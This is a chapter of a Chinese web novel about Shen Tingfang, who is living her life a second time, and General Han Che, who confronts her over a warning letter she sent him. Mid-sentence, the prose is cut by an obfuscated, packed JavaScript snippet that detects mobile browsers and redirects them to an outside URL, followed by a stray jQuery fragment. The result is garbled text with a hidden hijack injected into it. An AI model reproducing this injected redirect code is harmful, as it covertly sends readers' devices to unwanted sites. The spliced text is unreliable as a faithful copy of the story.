沈万千就这么一个独生女,看得跟眼珠子一样。
沈庭芳要天上的月亮,他不肯摘星星。
若是这姓韩的是个好人,女儿看中了,他不会拦着。
可若是韩彻品行不佳,他绝不会任由女儿被人哄骗了去。
沈万千当即就决定,暗暗叫人去打听韩彻的为人。
沈庭芳脸上一红:“爹!女儿……女儿不想嫁给从军的。”
嫁给从军的有什么好?
婚后夫君征战沙场,她只能在家里苦守。
异地相隔,不知多久才能见一面。
保不齐夫君就如同赵承钧一样,在边关另有家世,她还傻乎乎地在家里等着呢。
上一世吃够了苦头,她这一世只想守在沈万千身边,安稳度日。
“爹,女儿如今不想说嫁人的事。”
觑着沈庭芳一张小脸通红,沈万千只当沈庭芳是害羞了,依旧没有放弃查探韩彻底细的心思。
“好好好,咱们不说嫁人的事,你去吩咐人准备些礼,明日爹爹送去顾侯府上,好答谢韩将军相救之恩。”
沈庭芳很诧异:“爹,救我的人是韩将军,爹要谢,也是要谢韩将军,怎么反倒去谢顾侯呢?”
沈万千老道地笑了:“傻芳儿,韩将军救了你,我就这么去谢韩将军,此事便不痛不痒地过去了,他顶多能得一些谢礼,有什么用呢?”
“他们从军打仗的,最看重的是军功和上头人的赏识,我直接到顾侯跟前,把此事挑明,叫顾侯知道此事,于韩将军往后的仕途大有助益啊。”
沈庭芳陪着沈万千说笑了一阵,心里却不以为然。
过一阵子,顾侯便大难临头,韩彻也会很快销声匿迹。
功名利禄,也不过是过眼云烟。
夜里想到韩彻,沈庭芳就有些睡不着了。
韩彻救了她两次,她应该知恩图报。
要不要提醒韩彻,顾侯有难呢?
她上一世只顾着纠缠赵承钧,根本不记得这中间发生过什么事。
只记得顾侯出事之后,赵承钧就接手了顾家军,把顾家军变成了赵家军。
身为顾侯义子的韩彻却不知所踪。
此后,直到赵承钧离开京城,她再也没从赵承钧的嘴中听到过韩彻的名字。
沈庭芳心中咯噔一跳,难道说,赵承钧跟韩彻的失踪有关?
她越想越觉得是这么回事。
当即就下床,提笔写了一封信,信中只说了一句话,让韩彻小心赵承钧。
第二日便找了小厮,让小厮想个法子,叫人把这封信送到韩彻手上,切记不能叫韩彻知道,这封信是从沈家送出去的。
当天下午,门子上的人便说,韩彻登门拜访。
沈庭芳一颗心七上八下的。
她爹已经带着礼物去拜访顾侯了,尚未归来。
按理说,韩彻此时应该在陪席,怎么这个时候却独自登门?
莫不是她爹出了事?
沈庭芳忙叫人将韩彻请进前院的小花厅。
三月的宁海城,风还有些喧嚣。
韩彻跟在引路的婆子身后进了花厅。
他依旧穿着昨日的玄色披风,进门就将那披风解下来,丢在椅子扶手上。
披风的角落有几处灰尘,领子处还沾了一点香粉。
沈庭芳身上便有些热热的。
那脂粉应该是她昨日沾上去的吧?
都已经脏了,韩彻却还穿着一条披风,他难道没有别的披风可以穿了吗?
大小也是一个将军,日子过得这么马虎。
还是说,韩彻是故意穿给她看的?
真是小气,一会儿她赔给韩彻一条披风就是了。
“家父不在家,不知将军到访所为何事?”
韩彻从一进屋,就目光灼灼地盯着沈庭芳。
沈庭芳头皮发麻,根本不知道韩彻要做什么。
心里七上八下,琢磨着韩彻的心思。
“沈老爷正在与顾侯吃酒呢,今晚怕是要半夜才回来。”
沈庭芳抿唇。
这是何意?
难道韩彻特地跑一趟,就为了告诉她这件事?
韩彻很不客气,挥手让瑞香等人出去:“你们都下去吧。”
瑞香连翘忙看向沈庭芳。
沈庭芳不悦地蹙眉。
这可是在沈家!
韩彻真把这里当成自己的地盘了?
“韩将军
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160701|196597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有什么话不妨直说,这两个丫头是我的心腹,绝不会将韩将军所言泄露出去。”
姑娘家怒气冲冲,粉面含威,一双杏仁眼黑白分明,含嗔带怒地瞪着人。
没有半分威慑力,却多了几丝可爱。
韩彻的喉结微动。
他从怀中掏出一封信,摆在手边的茶几上。
“你确定要我当着丫头的面说?”
沈庭芳的瞳孔猛然放大。
她赶紧深呼吸一口气,强迫自己镇定下来。
“韩将军在说什么,我听不懂,不过,韩将军若是真的有要事商量,那丫头们的确不适合听。”
沈庭芳又羞又恼,又惊又怕,忍着气,让瑞香和连翘先退下去。
耳边已经传来韩彻的嗤笑声。
沈庭芳越发恼怒了。
她把丫头们支使出去,岂不是此地无银三百两,坐实了她与这封信有关?
“屋里只有你我二人,将军有什么话,如今可以直说了。”
韩彻指了指桌子上的信。
“请沈姑娘解释一下,这封信是什么意思?”
沈庭芳还想抵赖:“韩将军这番话真是奇怪,我都不知道这封信里写着什么,又怎么会知道是什么意思呢?”
她强装镇定,红红的耳垂却已经出卖了她心里的慌张。
“将军应该拿着这封信,去问问写这封信的人才是。”
韩彻眼中带笑,紧盯着沈庭芳,叫沈庭芳无处可躲。
“沈姑娘,你是想让我逼着你当场写几个字,对一对笔迹么?”
事到如今,沈庭芳便没什么好抵赖的了。
她豁出去了,抬起头,直面韩彻的双眸。
“信就是我写的,我是好意提醒将军,至于将军信不信,那就是将军自己的事情了。”
姑娘家带着一股视死如归的气魄,微微抿咬着嘴,蹙着眉,娇喘吁吁,眼里还暗藏着委屈和不甘心。
她在委屈什么呢?
又在为什么而不甘?
韩彻勾起了唇角。
沈家姑娘,果真是个极其有趣儿的。
“你和赵承钧……”
“姑娘,”瑞香在门外道,“许公子来了。”